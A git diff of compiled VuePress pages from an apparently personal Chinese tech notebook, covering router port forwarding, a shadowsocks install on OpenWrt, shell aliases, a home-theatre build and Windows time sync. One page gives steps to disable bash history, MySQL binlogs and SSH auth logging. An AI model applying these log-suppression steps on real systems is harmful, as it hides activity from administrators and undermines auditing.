a/assets/k2p-luci.html-WodZTAGg.js b/assets/k2p-luci.html-WodZTAGg.js new file mode 100644 index 0000000..2f8240f --- /dev/null +++ b/assets/k2p-luci.html-WodZTAGg.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-0e6ec2eb","path":"/notebook/k2p-luci.html","title":"k2p-luci","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"2022/6/1","slug":"_2022-6-1","link":"#_2022-6-1","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/k2p-luci.md"}');export{e as data}; diff --git a/assets/k2p-luci.html-t_XdYGXg.js b/assets/k2p-luci.html-t_XdYGXg.js new file mode 100644 index 0000000..7a5a9ea --- /dev/null +++ b/assets/k2p-luci.html-t_XdYGXg.js @@ -0,0 +1,10 @@ +import{_ as e,o as i,c as t,a as s}from"./app-x8p6wK6B.js";const a="/assets/20220207015340394_10855-WkKd7zDr.png",n="/assets/20220207020455741_14423-0hzHeQzp.png",l="/assets/20220601115731928_9728-YPmom_hm.png",p="/assets/20220601113611092_2486-dyOpFLRl.png",c="/assets/20220601135116316_3391-aO04G6Ii.png",d={},r=s('@field_resolver("scheme") +async def resolve_scheme(self, parent: ProcessRepresentation, info): + if process_id := get_attr(parent, "id"): + process_scheme_id = SchemeId(f"scheme:process:info:{process_id}") + loader = info.context["domain_loaders"]["scheme_by_scheme_ids"] + return await loader.load(process_scheme_id) +
# k2p-luci
20220206 今天发现k2p的后台管理web一些功能无法使用了
为了修复这个问题,先对路由器上的web程序做了一下了解
后台服务器:uhttp 语言 lua
root@K2P:/# find . -type d -iname 'luci' +./rom/usr/lib/lua/luci +./usr/lib/lua/luci +
https://blog.csdn.net/qq_28812525/article/details/103870169
find / -type f -name "*.lua" | xargs grep "portfwd_add_rule"
配置文件:/etc/luci/* +/etc/init.d/portfwd 端口转发的配置转换 +/etc/config/appportfwd + + +iptables -L -v -n +
# 2022/6/1
k2p动态ip失效
鸟哥的私房菜 http://cn.linux.vbird.org/linux_server/0250simple_firewall_5.php#nat_ip_share
iptables -t nat -A PREROUTING -i pppoe-wan -p tcp --dport 36000 -j DNAT --to-destination 192.168.2.190:22
iptables -t nat -L
',17),o=[r];function u(_,m){return i(),t("div",null,o)}const b=e(d,[["render",u],["__file","k2p-luci.html.vue"]]);export{b as default}; diff --git "a/assets/k2p_\346\233\264\346\226\260\345\256\230\346\224\271\345\233\272\344\273\266v1.9\344\270\255\347\232\204ssr-server.html-b_u5zeQ6.js" "b/assets/k2p_\346\233\264\346\226\260\345\256\230\346\224\271\345\233\272\344\273\266v1.9\344\270\255\347\232\204ssr-server.html-b_u5zeQ6.js" new file mode 100644 index 0000000..0aa81c4 --- /dev/null +++ "b/assets/k2p_\346\233\264\346\226\260\345\256\230\346\224\271\345\233\272\344\273\266v1.9\344\270\255\347\232\204ssr-server.html-b_u5zeQ6.js" @@ -0,0 +1,18 @@ +import{_ as s,o as e,c as t,a as i}from"./app-x8p6wK6B.js";const r="/assets/20220219222138020_909483616-DU3bFCqD.png",a="/assets/20220219222408266_2050018413-nSRpEmm5.png",p="/assets/20220219222636498_431834823-VNfMIq1D.png",c="/assets/20220219223839876_1500626948-s2_6NsQS.png",n="/assets/20220219223947700_989164668-_tlZGLdw.png",o="/assets/20220219224108809_1219663649-55uQuf5E.png",l="/assets/20220220001302388_1155538128-6X_Vxzk2.png",d="/assets/20220220001455371_1434697475-YC2uc6mo.png",m="/assets/20220220001811914_1014073809-MAyRD0ce.png",_="/assets/20220220001907411_1108285271-UpI37-ty.png",v="/assets/20220220002310307_1824879266-Uqw-Hsmf.png",g="/assets/20220220002509061_384377208-Vd2BzHf4.png",h="/assets/20220220003025856_596924680-kf1XdrQ2.png",u="/assets/20220220013115494_1616981623-MFQ5NXol.png",b={},k=i('# [k2p]更新官改固件v1.9中的ssr-server
目标:在k2p路由器上搭建ssr-server,在外网可以访问到家中的设备
遇到的问题:k2p官改固件v1.9 使用的ssr-server版本是
shadowsocks-libev 2.5.6 with OpenSSL 1.0.1j 15 Oct 2014
,支持的加密协议比较少网络上比较推荐的加密算法是aes-256-gcm,打算更新路由器上的ssr-server
先到github https://github.com/shadowsocks/shadowsocks-libev 需要我们需要的安装包
root@K2P:~# cat /proc/version +Linux version 3.10.14 (jenkins@SOHO-OPWRT) (gcc version 4.8.3 (OpenWrt/Linaro GCC 4.8-2014.04 unknown) ) #1 SMP Fri Apr 20 15:17:54 CST 2018 +
通过上面的命令,我们可以知道k2p官改是openwrt系列的系统,找到适用于openwrt的版本 https://github.com/shadowsocks/openwrt-shadowsocks
这个项目提供了预编译文件下载,我们到releases页面,进行下载 http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/
然后查看k2p的架构,我的k2p是a2版本,cpu是mt6621a,架构为mips 1004kc
但是我们并没有找到适合1004kc的软件包
经过google搜索,我在恩山无线论坛找到了解决方案:使用mips 24kc即可,是兼容的 https://www.right.com.cn/forum/thread-256669-1-1.html
使用wget 下载到/tmp目录后,我们使用
opkg install shadowsocks-libev-server_3.3.5-1_ramips_24kec.ipk
命令进行安装,发现opkg报错:pkg_hash_fetch_best_installation_candidate: Packages for shadowsocks-libev-server found, but incompatible with the architectures configured
这是因为opkg发现此安装包声明的架构与系统支持的架构不符,我们使用
opkg print-architecture
命令输出该系统支持的安装包可以看到没有ramips_24kc
经google搜索,找到了解决方案
https://www.twblogs.net/a/5c766b60bd9eee339917f838 http://iotts.com.cn/blog/2020/12/13/OpenWrt-%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85ipk%E6%97%B6%E9%81%87%E5%88%B0%E7%9A%84%E9%97%AE%E9%A2%98/ https://blog.csdn.net/zengqz123/article/details/87915079
+vi /etc/opkg.conf +然后在这个文件后面依次添加 +arch all 100 +arch ramips 150 +arch ramips_24kec 200 +arch ramips_1004kc 300 +
ok,再次尝试安装,发现缺少依赖
回到下载页面 http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/ 其实都在这里
wget http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/libev_4.27-1_ramips_24kec.ipk +wget http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/libcares_1.15.0-4_ramips_24kec.ipk +wget http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/libsodium_1.0.18-1_ramips_24kec.ipk +wget http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/libmbedtls_2.9.0-2_ramips_24kec.ipk + +
安装成功
后面的错误信息其实无影响,安装后,可通过opkg查看文件信息
root@K2P:/tmp# opkg files shadowsocks-libev-server +Package shadowsocks-libev-server (3.3.5-1) is installed on root and has the following files: +/usr/bin/ss-server +
安装成功!,aes-256-gcm可用
opkg命令(https://www.cxymm.net/article/qq_41453285/102523263) 修改opkg.conf (https://www.twblogs.net/a/5c766b60bd9eee339917f838) openwrt翻墙教程 https://fanqiang.software-download.name/
https://me2in.github.io/2020/11/30/%E5%9B%9E%E5%AE%B6%E7%9A%84%E8%AF%B1%E6%83%91-%E8%AE%BA%E5%A6%82%E4%BD%95%E6%9B%B4%E4%BC%98%E9%9B%85%E7%9A%84%E5%9B%9E%E5%AE%B6/
clash for windows https://docs.cfw.lbyczf.com/
cfw默认跳过内网地址
',39),w=[k];function f(E,x){return e(),t("div",null,w)}const B=s(b,[["render",f],["__file","k2p_更新官改固件v1.9中的ssr-server.html.vue"]]);export{B as default}; diff --git "a/assets/k2p_\346\233\264\346\226\260\345\256\230\346\224\271\345\233\272\344\273\266v1.9\344\270\255\347\232\204ssr-server.html-myu_DXA5.js" "b/assets/k2p_\346\233\264\346\226\260\345\256\230\346\224\271\345\233\272\344\273\266v1.9\344\270\255\347\232\204ssr-server.html-myu_DXA5.js" new file mode 100644 index 0000000..24af999 --- /dev/null +++ "b/assets/k2p_\346\233\264\346\226\260\345\256\230\346\224\271\345\233\272\344\273\266v1.9\344\270\255\347\232\204ssr-server.html-myu_DXA5.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-50f44d9a","path":"/notebook/k2p_%E6%9B%B4%E6%96%B0%E5%AE%98%E6%94%B9%E5%9B%BA%E4%BB%B6v1.9%E4%B8%AD%E7%9A%84ssr-server.html","title":"[k2p]更新官改固件v1.9中的ssr-server","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/[k2p]更新官改固件v1.9中的ssr-server.md"}');export{e as data}; diff --git a/assets/k8s.html-LyXLVnMP.js b/assets/k8s.html-LyXLVnMP.js new file mode 100644 index 0000000..024e3da --- /dev/null +++ b/assets/k8s.html-LyXLVnMP.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-57d5a7e9","path":"/ops/k8s.html","title":"k8s","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"alias k8s","slug":"alias-k8s","link":"#alias-k8s","children":[{"level":3,"title":"问题定位","slug":"问题定位","link":"#问题定位","children":[]},{"level":3,"title":"解决方案1","slug":"解决方案1","link":"#解决方案1","children":[]},{"level":3,"title":"解决方案2","slug":"解决方案2","link":"#解决方案2","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/k8s.md"}');export{l as data}; diff --git a/assets/k8s.html-buAOIcob.js b/assets/k8s.html-buAOIcob.js new file mode 100644 index 0000000..6e13462 --- /dev/null +++ b/assets/k8s.html-buAOIcob.js @@ -0,0 +1 @@ +import{_ as e,o as a,c as o,a as t}from"./app-x8p6wK6B.js";const s={},c=t('# k8s
# alias k8s
为了方便查看日志,编写了一个alias
alias klmes="kubectl logs -f
kubectl get pods | grep '^mes-be' | grep 'Running' -m 1 | awk '{print $1}'
"但是在断网环境下打开新终端,发现zsh会尝试运行该命令, 在网络不通环境下打开新终端,则会导致终端卡死
# 问题定位
经过多次尝试,我编写了一个二进制程序echo222, 放在
/usr/local/bin/
下, 并编写了如下的aliasalias ee="echo222"
经测试,没有执行该语句
再次编写为
alias ee="echo
echo222
" 经测试,执行了双引情况下号下,``(反引号)包裹的语句,再测试下单引号 alias ee='echo
echo222
' 经测试,问题解决# 解决方案1
使用函数
klmes () { kubectl logs -f
kubectl get pods | grep '^mes-be' | grep 'Running' -m 1 | awk '{print $1}'
}# 解决方案2
https://stackoverflow.com/questions/1250079/how-to-escape-single-quotes-within-single-quoted-strings
使用单引号包住 alias klmes='kubectl logs -f $(kubectl get pods | grep "^mes-be" | grep "Running" -m 1 | awk '"'"'{print $1}'"'"')'
',18),i=[c];function r(d,n){return a(),o("div",null,i)}const p=e(s,[["render",r],["__file","k8s.html.vue"]]);export{p as default}; diff --git a/assets/kodi.html-9pUgXDHi.js b/assets/kodi.html-9pUgXDHi.js new file mode 100644 index 0000000..3fde713 --- /dev/null +++ b/assets/kodi.html-9pUgXDHi.js @@ -0,0 +1 @@ +import{_ as n,r as o,o as r,c as h,b as t,d as l,e,a as s}from"./app-x8p6wK6B.js";const i={},a=t("h1",{id:"kodi",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#kodi","aria-hidden":"true"},"#"),l(" kodi")],-1),_=t("p",null,"打造家庭影院",-1),u=t("p",null,"NAS",-1),c=t("blockquote",null,[t("p",null,"NAS(Network Attached Storage:网络附属存储)按字面简单说就是连接在网络上,具备资料存储功能的装置,因此也称为“网络存储器”。它是一种专用数据存储服务器。它以数据为中心,将存储设备与服务器彻底分离,集中管理数据,从而释放带宽、提高性能、降低总拥有成本、保护投资。其成本远远低于使用服务器存储,而效率却远远高于后者。目前国际著名的NAS企业有Netapp、EMC、OUO等。")],-1),p=t("p",null,"HTPC",-1),m=t("blockquote",null,[t("p",null,"HTPC(Home Theater Personal Computer),即家庭影院电脑。 是以计算机担当信号源和控制的家庭影院,也就是一部预装了各种多媒体解码播放软件,可用来对应播放各种影音媒体,并具有各种接口,可与多种显示设备如电视机、投影机、等离子显示器、音频解码器、音频放大器等音频数字设备连接使用的个人电脑。")],-1),f={href:"https://kodi.tv/",target:"_blank",rel:"noopener noreferrer"},b=s('# 家庭网络
品名 价格 功能 备注 时间 斐讯K2P ¥150 做路由,wifi,拨号 挂v2ray 联通光猫 300M网速 TCL 65v6 2999 看电视,播放电影 支持memc 2019.10.3 电脑 1200 下载机器,htpc 2020.1.2 斐讯N1盒子 130 刷yyf, 使用, kodi, 千兆网口, usb2.0 2020.2.20 斐讯H1移动硬盘 230 移动存储,做N1盒子上面的存储 type-c接口,usb3.0 2020.2.21 # 场景需求
- [x] 玩游戏: 显示器hdmi线连接客厅电视,或者游戏机
- [ ] 看视频: 电视内置软件, 投屏, kodi,
- [ ] 照片备份:
# 我不在家
- 使用HDP直播等软件播放CCTV等节目
- 手机投屏(乐播投屏)
# 我在家
- 使用远程下载下载到硬盘, 然后观看
- 同步照片
- 作为服务器,通过frp做远程服务器
# 插线板
名字 价格 功能 斐讯 tc1 ¥65 6 插口, 3usb(1*18w) 心水: 紫米插座 129 1个pd65w快充的插口+插线版 电脑
',11),k=t("thead",null,[t("tr",null,[t("th",null,"配件"),t("th",null,"型号"),t("th",null,"价格"),t("th",null,"备注"),t("th",null,"时间")])],-1),g=t("tr",null,[t("td",null,"cpu"),t("td",null,"g5500"),t("td",null,"¥200"),t("td",null,"二手"),t("td")],-1),x=t("td",null,"主板",-1),N={href:"https://detail.tmall.com/item.htm?id=602434722635",target:"_blank",rel:"noopener noreferrer"},y=t("td",null,"¥300",-1),C=t("td",null,"千兆",-1),v=t("td",null,null,-1),T=t("td",null,"内存",-1),w={href:"https://item.jd.com/100004880772.html",target:"_blank",rel:"noopener noreferrer"},H=t("td",null,"¥169",-1),P=t("td",null,null,-1),S=t("td",null,null,-1),V=t("td",null,"固态",-1),j={href:"https://detail.tmall.com/item.htm?id=575347597660",target:"_blank",rel:"noopener noreferrer"},A=t("td",null,"¥119",-1),E=t("td",null,null,-1),B=t("td",null,null,-1),L=t("tr",null,[t("td",null,"硬盘"),t("td",null,"西数蓝盘500g"),t("td",null,"¥0"),t("td"),t("td")],-1),q=t("td",null,"鼠标&键盘",-1),I={href:"https://item.jd.com/2291748.html",target:"_blank",rel:"noopener noreferrer"},M=t("td",null,"¥60",-1),O=t("td",null,null,-1),D=t("td",null,null,-1),K=t("td",null,"机箱",-1),U={href:"https://item.jd.com/100004160506.html",target:"_blank",rel:"noopener noreferrer"},z=t("td",null,"¥135",-1),F=t("td",null,null,-1),G=t("td",null,null,-1),J=t("td",null,"散热器",-1),Q={href:"https://item.jd.com/164112.html",target:"_blank",rel:"noopener noreferrer"},R=t("td",null,"¥32",-1),W=t("td",null,null,-1),X=t("td",null,null,-1),Y=t("td",null,"电源",-1),Z={href:"https://detail.tmall.com/item.htm?id=534193757651",target:"_blank",rel:"noopener noreferrer"},$=t("td",null,"¥99",-1),tt=t("td",null,null,-1),lt=t("td",null,null,-1),dt=t("tr",null,[t("td",null,"合计"),t("td"),t("td",null,"¥1133"),t("td"),t("td")],-1),et=t("p",null,"|设备|",-1);function nt(ot,rt){const d=o("ExternalLinkIcon");return r(),h("div",null,[a,_,u,c,p,m,t("p",null,[t("a",f,[l("官网链接"),e(d)])]),b,t("table",null,[k,t("tbody",null,[g,t("tr",null,[x,t("td",null,[t("a",N,[l("h310cm-hdv"),e(d)])]),y,C,v]),t("tr",null,[T,t("td",null,[t("a",w,[l("光威8g 2666"),e(d)])]),H,P,S]),t("tr",null,[V,t("td",null,[t("a",j,[l("铁甲战将120g"),e(d)])]),A,E,B]),L,t("tr",null,[q,t("td",null,[t("a",I,[l("罗技套装 mk275"),e(d)])]),M,O,D]),t("tr",null,[K,t("td",null,[t("a",U,[l("先马 黑金刚"),e(d)])]),z,F,G]),t("tr",null,[J,t("td",null,[t("a",Q,[l("超频三 红海"),e(d)])]),R,W,X]),t("tr",null,[Y,t("td",null,[t("a",Z,[l("金河田 300w"),e(d)])]),$,tt,lt]),dt])]),et])}const st=n(i,[["render",nt],["__file","kodi.html.vue"]]);export{st as default}; diff --git a/assets/kodi.html-o4IVGQ1p.js b/assets/kodi.html-o4IVGQ1p.js new file mode 100644 index 0000000..3af7ad4 --- /dev/null +++ b/assets/kodi.html-o4IVGQ1p.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-67adb115","path":"/notebook/kodi.html","title":"kodi","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"家庭网络","slug":"家庭网络","link":"#家庭网络","children":[]},{"level":2,"title":"场景需求","slug":"场景需求","link":"#场景需求","children":[]},{"level":2,"title":"我不在家","slug":"我不在家","link":"#我不在家","children":[]},{"level":2,"title":"我在家","slug":"我在家","link":"#我在家","children":[]},{"level":2,"title":"插线板","slug":"插线板","link":"#插线板","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/kodi.md"}');export{l as data}; diff --git "a/assets/linux\345\205\263\351\227\255\350\256\277\351\227\256\346\227\245\345\277\227\345\217\212mysql.html-24tVYX00.js" "b/assets/linux\345\205\263\351\227\255\350\256\277\351\227\256\346\227\245\345\277\227\345\217\212mysql.html-24tVYX00.js" new file mode 100644 index 0000000..a98bccb --- /dev/null +++ "b/assets/linux\345\205\263\351\227\255\350\256\277\351\227\256\346\227\245\345\277\227\345\217\212mysql.html-24tVYX00.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-c65efaa2","path":"/notebook/linux%E5%85%B3%E9%97%AD%E8%AE%BF%E9%97%AE%E6%97%A5%E5%BF%97%E5%8F%8Amysql.html","title":"日志","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"关闭.bash_history","slug":"关闭-bash-history","link":"#关闭-bash-history","children":[]},{"level":2,"title":"关闭mysql连接日志","slug":"关闭mysql连接日志","link":"#关闭mysql连接日志","children":[]},{"level":2,"title":"关闭SSH日志","slug":"关闭ssh日志","link":"#关闭ssh日志","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/linux关闭访问日志及mysql.md"}');export{l as data}; diff --git "a/assets/linux\345\205\263\351\227\255\350\256\277\351\227\256\346\227\245\345\277\227\345\217\212mysql.html-amzU4nG6.js" "b/assets/linux\345\205\263\351\227\255\350\256\277\351\227\256\346\227\245\345\277\227\345\217\212mysql.html-amzU4nG6.js" new file mode 100644 index 0000000..488a0a4 --- /dev/null +++ "b/assets/linux\345\205\263\351\227\255\350\256\277\351\227\256\346\227\245\345\277\227\345\217\212mysql.html-amzU4nG6.js" @@ -0,0 +1,3 @@ +import{_ as t,r as a,o as l,c as o,b as e,d as n,e as r,a as i}from"./app-x8p6wK6B.js";const c={},d=i(`# 日志
# 关闭.bash_history
已经在Ubuntu 16.04.6 LTS验证有效
我们可以修改/etc/profile文件中修改2个参数来控制历史命令记录和输出。
echo "export HISTFILESIZE=0" >> /etc/profile +source /etc/profile +
- https://www.cndba.cn/dave/article/4086
- https://blog.csdn.net/smasegain/article/details/46678113
# 关闭mysql连接日志
- ~/.mysql_history
https://www.cnblogs.com/milantgh/p/3602206.html
如何关闭MySQL的日志功能:删除日志:执行:/usr/local/mysql/bin/mysql -u root -p 输入密码登录后再执行:reset master; 再输入:quit 退出mysql命令模式。 彻底禁用MySQL日志:修改/etc/my.cnf 文件, 找到log-bin搜索=mysql-binbinlog_format=mixed再这两行前面加上#, 将其注释掉,再执行/etc/init.d/mysql restart即可。 或直接去目录/usr/local/mysql/var/删除日志文件即可正常使用! ———————————————— 版权声明:本文为CSDN博主「风火程序员」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/phpfenghuo/article/details/42262031
编辑 /etc/mysql/mysql.conf.d/mysqld.cnf
# 关闭SSH日志
编辑/etc/ssh/sshd_config
/var/log/syslog 没有这个文件
正常登录 Mar 23 03:10:40 ubuntu systemd[1]: Started Session 7 of user homepc.
grep sshd /var/log/auth.log
https://www.cnblogs.com/sparkdev/p/7694202.html
`,17),h={href:"https://blog.csdn.net/supertor/article/details/84334710?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task",target:"_blank",rel:"noopener noreferrer"},p=e("p",null,"[root@master ~]# vim /etc/ssh/sshd_config #SyslogFacility AUTH SyslogFacility AUTHPRIV #LogLevel INFO 改 SyslogFacility local1",-1),u=e("p",null,"更改日志服务配置 [root@master ~]# vim /etc/rsyslog.conf #sign local1.* /var/log/sshd.log //这里该成空,就可以全删除了",-1);function m(_,b){const s=a("ExternalLinkIcon");return l(),o("div",null,[d,e("p",null,[e("a",h,[n("ssh远程登陆日志分析"),r(s)])]),p,u])}const y=t(c,[["render",m],["__file","linux关闭访问日志及mysql.html.vue"]]);export{y as default}; diff --git "a/assets/linux\345\255\246\344\271\240.html--GCM8Al2.js" "b/assets/linux\345\255\246\344\271\240.html--GCM8Al2.js" new file mode 100644 index 0000000..f91ca10 --- /dev/null +++ "b/assets/linux\345\255\246\344\271\240.html--GCM8Al2.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-9fbc4e4a","path":"/notebook/linux%E5%AD%A6%E4%B9%A0.html","title":"linux学习","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"删除含有行的文件","slug":"删除含有行的文件","link":"#删除含有行的文件","children":[]},{"level":2,"title":"软连接 2020/4/20","slug":"软连接-2020-4-20","link":"#软连接-2020-4-20","children":[{"level":3,"title":"删除所有以.log结尾的文件 20200806","slug":"删除所有以-log结尾的文件-20200806","link":"#删除所有以-log结尾的文件-20200806","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/linux学习.md"}');export{l as data}; diff --git "a/assets/linux\345\255\246\344\271\240.html-FUsT3kNP.js" "b/assets/linux\345\255\246\344\271\240.html-FUsT3kNP.js" new file mode 100644 index 0000000..828a58e --- /dev/null +++ "b/assets/linux\345\255\246\344\271\240.html-FUsT3kNP.js" @@ -0,0 +1,9 @@ +import{_ as e,o as n,c as a,a as s}from"./app-x8p6wK6B.js";const i={},r=s(`# linux学习
# 删除含有行的文件
+sed -e '/abc/d' clickhouse-server.log > a.log +chown clickhouse:clickhouse a.log +chmod 640 a.log +mv a.log clickhouse-server.log +service clickhouse-server reload + + +
# 软连接 2020/4/20
Usage: ln [OPTION]... [-T] TARGET LINK_NAME (1st form) or: ln [OPTION]... TARGET (2nd form) or: ln [OPTION]... TARGET... DIRECTORY (3rd form) or: ln [OPTION]... -t DIRECTORY TARGET... (4th form) In the 1st form, create a link to TARGET with the name LINK_NAME. In the 2nd form, create a link to TARGET in the current directory. In the 3rd and 4th forms, create links to each TARGET in DIRECTORY. Create hard links by default, symbolic links with --symbolic. By default, each destination (name of new link) should not already exist. When creating hard links, each TARGET must exist. Symbolic links can hold arbitrary text; if later resolved, a relative link is interpreted in relation to its parent directory.
# 删除所有以.log结尾的文件 20200806
find ./ -name "*.log" -exec rm {} ;
`,7),t=[r];function l(o,c){return n(),a("div",null,t)}const h=e(i,[["render",l],["__file","linux学习.html.vue"]]);export{h as default}; diff --git "a/assets/mac_win10\345\217\214\347\263\273\347\273\237\344\270\213\347\232\204\346\227\266\351\227\264\351\227\256\351\242\230.html-1VeVPUm0.js" "b/assets/mac_win10\345\217\214\347\263\273\347\273\237\344\270\213\347\232\204\346\227\266\351\227\264\351\227\256\351\242\230.html-1VeVPUm0.js" new file mode 100644 index 0000000..70b89b3 --- /dev/null +++ "b/assets/mac_win10\345\217\214\347\263\273\347\273\237\344\270\213\347\232\204\346\227\266\351\227\264\351\227\256\351\242\230.html-1VeVPUm0.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-5be7464d","path":"/notebook/mac_win10%E5%8F%8C%E7%B3%BB%E7%BB%9F%E4%B8%8B%E7%9A%84%E6%97%B6%E9%97%B4%E9%97%AE%E9%A2%98.html","title":"mac+win10双系统下的时间问题","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"解决问题","slug":"解决问题","link":"#解决问题","children":[]},{"level":2,"title":"遇到的问题","slug":"遇到的问题","link":"#遇到的问题","children":[]},{"level":2,"title":"20220207 时间不同步的真正原因","slug":"_20220207-时间不同步的真正原因","link":"#_20220207-时间不同步的真正原因","children":[]},{"level":2,"title":"2022020 使用intel连接设置","slug":"_2022020-使用intel连接设置","link":"#_2022020-使用intel连接设置","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/mac+win10双系统下的时间问题.md"}');export{e as data}; diff --git "a/assets/mac_win10\345\217\214\347\263\273\347\273\237\344\270\213\347\232\204\346\227\266\351\227\264\351\227\256\351\242\230.html-Uil1Iztz.js" "b/assets/mac_win10\345\217\214\347\263\273\347\273\237\344\270\213\347\232\204\346\227\266\351\227\264\351\227\256\351\242\230.html-Uil1Iztz.js" new file mode 100644 index 0000000..d8e36db --- /dev/null +++ "b/assets/mac_win10\345\217\214\347\263\273\347\273\237\344\270\213\347\232\204\346\227\266\351\227\264\351\227\256\351\242\230.html-Uil1Iztz.js" @@ -0,0 +1,4 @@ +import{_ as s,o as i,c as e,a}from"./app-x8p6wK6B.js";const t="/assets/20220207233147081_24080-V7_vSr-g.png",n="/assets/20220207232816641_27744-ixb5EC4z.png",p="/assets/20220208000905799_19986-bR9eGTbv.png",o="/assets/20220208001114853_16951-jxhFg3uB.png",r="/assets/20220208001221680_4061-QG9ozPf4.png",c="/assets/20220207234131065_31240-himi3PAW.png",d="/assets/20220207233945612_13266-lT_z19WY.png",_="/assets/20220207234824158_14626-SIvcFdMC.png",m="/assets/20220209135741145_23408-ROZYQ1JU.png",l="/assets/20220209140136127_9585-FLB24hie.png",h="/assets/20220209140047704_18587-Fej0ZjCm.png",g="/assets/20220209140104734_21646-qwn7a-6c.png",u={},w=a('# mac+win10双系统下的时间问题
安装了 Windows/macOS 双系统的同学,一定遇到过双系统时间不同步的问题。具体表现是,一旦进入过 macOS 系统,Windows 中的时间就会比实际时间慢8个小时(以国内为准)。
# 解决问题
遇到这个问题,我第一个想法是编辑计划任务,在windows系统开机的时候执行时间同步(因为windows默认是7天与时间服务器同步一次)
具体的逻辑是开机后,识别到wifi连接上事件(id8001),则执行与时间服务器同步的脚本
首先是定位到wifi连接上的事件,打开事件查看器, 应用程序和服务日志-Microsoft-Windows-WLAN-AutoConfig 可以看到下图,我们找到8001事件,他的描述是
WLAN 自动配置服务已成功连接到无线网络
我整理了一下,大概有7个事件
事件8000 WLAN 自动配置服务已开始连接无线网络。 事件8001 WLAN 自动配置服务已成功连接到无线网络。 事件8003 WLAN 自动配置服务已成功从无线网络断开。 事件8005 WLAN 自动配置服务已开始启动承载网络。 事件8006 WLAN 自动配置服务已完成启动承载网络。 事件8008 WLAN 自动配置服务已开始停止承载网络。 事件8011 连接到上一个正常网络
按照字面意思,我们应该使用8011事件作为触发器,但是查阅日志发现,最近几天我重启了好几次wifi,但是只有一次8011事件,可能有其他的因素在里面,我们还是选择事件8001作为触发器把。
在计算机管理-任务计划程序-新建计划任务,编辑触发器
下面是更新系统时间的vbs代码,保存在本地后,新建执行程序
Set ws = CreateObject("Wscript.Shell") +ws.Run "net start w32time",vbhide,true +ws.Run "w32tm /resync",vbhide +
注意要勾选常规选项卡中的使用最高权限运行
部署好后,每次启动笔记本,连接上wifi,时间就会自动同步到最新时间
# 遇到的问题
我开启了无线投屏,所以每次开机都会开放一个热点,然后系统自动连接上去,此时还没有连接到网络,所以同步失败,而且由于设置了重试和按需运行,导致3分钟连接到有网络的wifi并不会同步时间(因为按需运行)
# 20220207 时间不同步的真正原因
问题的成因是Windows和macOS处理时间的方式不同:
Windows把系统硬件时间当作本地时间(Local Time),即操作系统中显示的时间和 BIOS 中显示的时间是一样的 macOS 则把硬件时间当作 UTC,操作系统中显示的时间是硬件时间经过换算得来的,例如:假设 macOS 中设置了东八区时区,系统显示时间早上9:00,实际硬件储存时间就是UTC 1:00。这个时候重启进入 Windows,时间就变成了早上1:00。
办法也很简单,就是让Windows把硬件时间当作 UTC 时间,保持和 macOS 一致。
Window7 用户点击左下角 开始 -> 运行 -> 输入CMD
Window8/10用户按下 Win+X 组合键,使用管理员模式进入CMD
输入以下命令:
Reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation /v RealTimeIsUniversal /t REG_DWORD /d 1
不过看来这样bios时间又会出问题,所以我还是使用我的土方法把
# 2022020 使用intel连接设置
今天在发现局域网samba传输速度只有5MB, 于是点开了网络设置,发现使用intel设置可以实现连接到特定wifi后执行应用程序
路径为 控制面板-网络连接-选中你当前连接的WLAN-状态-无线属性-
',33),v=[w];function W(b,f){return i(),e("div",null,v)}const C=s(u,[["render",W],["__file","mac_win10双系统下的时间问题.html.vue"]]);export{C as default}; diff --git "a/assets/markdown\345\255\246\344\271\240.html-reKNUoVC.js" "b/assets/markdown\345\255\246\344\271\240.html-reKNUoVC.js" new file mode 100644 index 0000000..afdcf14 --- /dev/null +++ "b/assets/markdown\345\255\246\344\271\240.html-reKNUoVC.js" @@ -0,0 +1,18 @@ +import{_ as e,o as n,c as i,a}from"./app-x8p6wK6B.js";const r={},l=a(`# markdown学习
用HTML代码中的<br> + +如下所示,要在“身高”换行后加“体重”,可以在本行末尾输入<br>,再输入“体重”,则马上换行显示。 + + + +假设我们想跳转到文档中的一个不是标题的位置(比如一张图表),则需要在该位置自定义一个锚。 + +我们使用HTML语法来定义一个锚。可选的HTML标签很多,比如<span>、<a>等等。本文使用<span>示例。 + +假设文档中有一个作息时间表,在文档的其他地方需要增加跳转到此表位置的链接,那么我们可以在此表的附近增加一行: + +<span id=”表1”>名称</span> + + + + +
WARNING
here be dragons
::: alert-warning
alert-warning 黄色
:::
::: alert-info
